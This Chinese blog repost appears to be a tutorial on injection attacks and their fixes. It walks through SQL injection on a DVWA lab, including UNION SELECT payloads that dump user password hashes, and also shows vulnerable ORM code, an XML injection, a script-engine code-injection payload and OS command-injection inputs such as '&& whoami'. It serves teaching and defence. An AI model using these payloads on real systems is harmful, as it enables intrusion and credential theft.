我是靠谱客的博主 激动夏天,最近开发中收集的这篇文章主要介绍注入攻击,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

        注入攻击是Web安全领域中一种最为常见的攻击方式。XSS本质上也是一种针对HTML的注入攻击。注入攻击的本质,是把用户输入的数据当做代码执行。这里有两个关键条件,第一个是用户能够控制输入;第二个是原本程序要执行的代码,拼接了用户输入的数据。 解决注入攻击的核心思想:“数据与代码分离”原则。

1、SQL注入(SQL Injection) 

原因: 

在应用程序中若有下列状况,则可能应用程序正暴露在SQL Injection的高风险情况下:

  • 在应用程序中使用字符串联结方式或联合查询方式组合SQL指令。
  • 在应用程序链接数据库时使用权限过大的账户(例如很多开发人员都喜欢用最高权限的系统管理员账户连接数据库)。
  • 太过于信任用户所输入的资料,未限制输入的特殊字符,以及未对用户输入的资料做潜在指令的检查。

OWASP靶机平台:192.168.200.100 登录用户信息以及访问的URL信息,会在该虚拟机启动时显示。

1.1、SQL盲注

        所谓“盲注 ”,就是在服务器没有错误回显时完成的注入攻击。服务器没有错误回显,对于攻击者来说缺少了非常重要的“调试信息”,所以攻击者必须找到一个方法来验证注入的SQL语句是否得到执行。

最常见的盲注验证方法是,构造简单的条件语句,根据返回页面是否发生变化,来判断SQL语句是否得到执行。比如在DVWA靶机平台,输入1’ and 1=1#显示存在,输入1’ and 1=2# 显示不存在,由此可立即判断漏洞存在。

 

1.2、 猜解数据库

(1)先输入 1 ,查看回显 (URL中ID=1,说明页面通过get方法传递参数):

http://192.168.200.100/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#

//源代码
$getid = "SELECT first_name, last_name FROM users WHERE
user_id = '$id'"; 

(2)输入 1' order by 1# 和 1' order by 2# 时都返回正常,当输入 1' orderby 3#时,返回错误:

Unknown column '3' in 'order clause'

(3)使用 union select联合查询继续获取信息

        union 运算符可以将两个或两个以上 select 语句的查询结果集合并成一个结果集合显示,即执行联合查询。需要注意在使用 union 查询的时候需要和主查询的列数相同,而我们之前已经知道了主查询列数为 2。

输入1' union select database(),user()# 进行查询 :

  • database()将会返回当前网站所使用的数据库名字
  • user()将会返回执行当前查询的用户名

# 输入框
1' union select database(),user()#'
# 生成SQL
SELECT first_name, last_name FROM users WHERE user_id = '1' union select database(),user()#'

ID: 1' union select database(),user()#'
First name: admin
Surname: admin
ID: 1' union select database(),user()#'
First name: dvwa
Surname: dvwa@localhost

通过上图返回信息,我们成功获取到:

  • 当前网站使用数据库为 dvwa
  • 当前执行查询用户名为 root@localhost

(4)同理我们再输入 1' union select version(),@@version_compile_os# 进行查询:

# 输入框
1' union select version(),@@version_compile_os#
# 生成SQL
SELECT first_name, last_name FROM users WHERE user_id = '1' union select version(),@@version_compile_os#

  • version() 获取当前数据库版本.
  • @@version_compile_os 获取当前操作系统。

ID: 1' union select version(),@@version_compile_os#
First name: admin
Surname: admin
ID: 1' union select version(),@@version_compile_os#
First name: 5.1.41-3ubuntu12.6-log
Surname: debian-linux-gnu

(5)接下来我们尝试获取 dvwa 数据库中的表名。information_schema 是 mysql 自带的一张表,这张数据表保存了 Mysql 服务器所有数据库的信息:如数据库名,数据库的表,表栏的数据类型与访问权限等。该数据库拥有一个名为 tables 的数据表,该表包含两个字段table_name 和 table_schema,分别记录 DBMS 中的存储的表名和表名所在的数据库。

# 输入框
1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#
# 生成SQL
SELECT first_name, last_name FROM users WHERE user_id = '1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#

结果:

ID: 1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#
First name: admin
Surname: admin
ID: 1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#
First name: guestbook
Surname: dvwa
ID: 1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#
First name: users
Surname: dvwa

通过上图返回信息,我们再获取到:

  • dvwa 数据库有两个数据表,分别是 guestbook 和 users

(6)尝试获取重量级的用户名、密码

由经验我们可以大胆猜测users表的字段为 user 和 password ,所以输入:1' union select user,password from users# 进行查询:

# 输入框
1' union select user,password from users#
# 生成SQL
SELECT first_name, last_name FROM users WHERE user_id = '1' union select user,password from users#

ID: 1' union select user,password from users#
First name: admin
Surname: admin
ID: 1' union select user,password from users#
First name: admin
Surname: 21232f297a57a5a743894a0e4a801fc3
ID: 1' union select user,password from users#
First name: gordonb
Surname: e99a18c428cb38d5f260853678922e03
ID: 1' union select user,password from users#
First name: 1337
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b
ID: 1' union select user,password from users#
First name: pablo
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7
ID: 1' union select user,password from users#
First name: smithy
Surname: 5f4dcc3b5aa765d61d8327deb882cf99
ID: 1' union select user,password from users#
First name: user
Surname: ee11cbb19052e40b07aac0ca060c23ee

可以看到成功爆出用户名、密码,密码采用 MD5进行加密,可以到www.cmd5.com进行解密。

1.3、ORM注入

Mybatis:

(1) Java生态中很常用的持久层框架Mybatis就能很好的完成对SQL注入的预防,如下两个mapper文件,前者就可以预防,而后者不行。

${ }:单纯替代,纯粹的将参数传进去,没有做任何的转义操作和预编译。

<select id="selectByNameAndPassword"
        parameterType="java.util.Map" resultMap="BaseResultMap">
    select id, username, password, role
    from user
    where username = #{username,jdbcType=VARCHAR}
    and password = #{password,jdbcType=VARCHAR}
</select>
<select id="selectByNameAndPassword"
        parameterType="java.util.Map" resultMap="BaseResultMap">
    select id, username, password, role
    from user
    where username = ${username,jdbcType=VARCHAR}
    and password = ${password,jdbcType=VARCHAR}
</select>

#{ }:Mybatis会通过预编译机制生成PreparedStatement参数,然后在安全的给参数进行赋值操作

<select id="getPerson" parameterType="string"
        resultType="org.application.vo.Person">
    SELECT * FROM PERSON WHERE NAME = #{name} AND PHONE LIKE '${phone}';
</select>

首先,这是一种不全的用法,注意上面的参数修符号${phone} ,使用${}参数占位修饰符,MyBatis不会对字符串做任何修改,而是直接插入到SQL语句中。

Hibernate:

usernameString//前台输入的用户名
passwordString//前台输入的密码
//hql语句
String queryString = "from User t where t.username= " + usernameString + " and t.password="+ passwordString;
//执行查询
List result = session.createQuery(queryString).list();

建议使用参数绑定:named parameter:

 usernameString  // 前台输入的用户名
   passwordString  // 前台输入的密码
    // hql语句
    String queryString = "from User t where t.username:usernameString and t.password:passwordString";
    // 执行查询
        List result=session.createQuery(queryString)
        .setString("usernameString ", usernameString)
        .setString("passwordString", passwordString)
        .list();

positional parameter:

usernameString//前台输入的用户名
passwordString//前台输入的密码
//hql语句
String queryString = "from User t where t.username=? and t.password=?";
//执行查询
List result = session.createQuery(queryString)
        .setString(0, usernameString )
        .setString(1, passwordString)
        .list();

JDBC:

Connection conn = DriverManager.getConnection(url,user,password);
String sql = "select * from product where name like '%" + request.getParameter("pname")+"%''" ;
Statement statement = conn.createStatement();
ResultSet rs = stat.executeQuery(sql);

解决方案:

        使用预处理执行SQL语句,对所有传入SQL语句中的变量做绑定,这样用户拼接进来的变量无论内容是什么,都会被当做替代符号 “ ?”所替代的值,数据库也不会把恶意用户拼接进来的数据,当做部分SQL语句去解析。

        无论使用了哪个ORM框架,都会支持用户自定义拼接语句,经常有人误解Hibernate,其实Hibernate也支持用户执行JDBC查询,并且支持用户把变量拼接到SQL语句中。

2、XML注入(XML injection)

XML注入是将用户录入的信息作为XML节点。

        除了SQL注入外,在Web安全领域还有其他的注入攻击,这些注入攻击都有相同的特点,就是应用违背了 “数据与代码分离”原则。

        和 SQL 注入原理一样,XML 是存储数据的地方,如果在查询或修改时,如果没有做转义,直接输入或输出数据,都将导致 XML 注入漏洞。攻击者可以修改XML 数据格式,增加新的 XML 节点,对数据处理流程产生影响。如果用户构造了恶意输入数据,就有可能形成注入攻击。

    // userData是准备保存的XML数据,接受了name和email两个用户提交的数据
    String userData = "<USER >"+
                "<name>"+
                    request.getParameter("name")+
                "</name>"+
                "<email>"+
                    request.getParameter("email")+
            "</email>"
        "</USER>"
// 保存XML数据
        userDao.save(userData);

比如用户输入的数据如下:

user1
user1@lagou.com</email></USER><USER><name>user2</name>
<email>user2@lagou.com

最终生成的XML文件里被插入一条数据:

<USER>
    <name>user1</name>
    <email>user1@lagou.com</email>
</USER>
<USER>
    <name>user2</name>
    <email>user2@lagou.com</email>
</USER>

XML注入,也需要满足注入攻击的两大条件:

  • 用户能控制数据的输入;
  • 程序直接拼凑了数据。

        在修补方案上,与HTML注入的修补方案也是类似的,在XML保存和展示前,对数据部分,单独做XML escape,如下所示:

 String userData = "<USER>"+
            "name>"+StringUtil.xmlEncode(request.getParameter("name"))+
            "</name>"+
        "<email>"+
            StringUtil.xmlEncode(request.getParameter("email"))+
        "</email>"+
        "</USER>";

转义规则

lt         -         <
gt        -         >
amp    -         &
apos   -         '
quot    -        "

3、代码注入(Code injection)

        Code injection,代码注入攻击。web 应用代码中,允许接收用户输入一段代码,之后在 web 应用服务器上执行这段代码,并返回给用户。由于用户可以自定义输入一段代码,在服务器上执行,所以恶意用户可以写一个远程控制木马,直接获取服务器控制权限,所有服务器上的资源都会被恶意用户获取和修改,甚至可以直接控制数据库。代码注入比较特别一点。

代码注入往往是由一些不安全的函数或者方法引起的,其中的典型代表就是eval()

  public static void main(String[] args) {
// 在Java中也可以实施代码注入,比如利用Java的脚本引擎。
        ScriptEngineManager manager = new ScriptEngineManager();
// 获得JS引擎对象
        ScriptEngine engine = manager.getEngineByName("JavaScript");
        try {
// 用户录入
            String param = "hello";
            String command = "print('" + param + "')";
// 调用JS中的eval方法
            engine.eval(command);
        } catch (ScriptException e) {
            e.printStackTrace();
        }
    }

参数param的值由用户指定并传入,攻击者可以提交如下数据:

hello'); var fImport = new JavaImporter(java.io.File);
with(fImport) { var f = new File('new'); f.createNewFile(); }

解决方案:

        对抗代码注入,需要禁止使用eval()等可以执行命令的函数,如果一定要使用这些函数,则需要对用户的输入数据进行处理。比如:执行代码的参数,或文件名,禁止和用户输入相关,只能由开发人员定义代码内容,用户只能提交 “1、2、3” 参数,代表相应代码。

        代码注入往往是由于不安全的编程习惯所造成的,危险函数应该尽量避免在开发中使用,可以在开发规范中明确指出哪些函数是禁止使用的。

4、OS命令注入

        OS命令注入(Operating System Command injection 操作系统命令注入或简称命令注入)是一种注入漏洞。攻击者注入的有效负载将作为操作系统命令执行。仅当Web应用程序代码包括操作系统调用并且调用中使用了用户输入时,才可能进行OS命令注入攻击。 

        当您确定了OS命令注入漏洞后,通常可以执行一些初始命令来获取有关受到破坏的系统的信息。以下是在Linux和Windows平台上有用的一些命令的摘要:

        比如应用程序的开发人员希望用户能够在Web应用程序中查看Windows ping命令的输出。用户需要输入IP地址,然后应用程序将ICMP ping发送到该地址。不幸的是,开发人员过分信任用户,并且不执行输入验证。使用该GET 方法传递IP地址,然后在命令行中使用。 

127.0.0.1

127.0.0.1 && whoami

127.0.0.1 && ps -ef

防护方案:

        到目前为止,防止OS命令注入漏洞的最有效方法是永远不要从应用程序层代码中调用OS命令。几乎在每种情况下,都有使用更安全的平台API来实现所需功能的替代方法。如果认为无法通过用户提供的输入调出OS命令,则必须执行强大的输入验证。有效验证的一些示例包括:

  • 根据允许值的白名单进行验证。
  • 验证输入是否为数字。
  • 验证输入仅包含字母数字字符,不包含其他语法或空格。

最后

以上就是激动夏天为你收集整理的注入攻击的全部内容,希望文章能够帮你解决注入攻击所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(55)

评论列表共有 0 条评论

立即
投稿
返回
顶部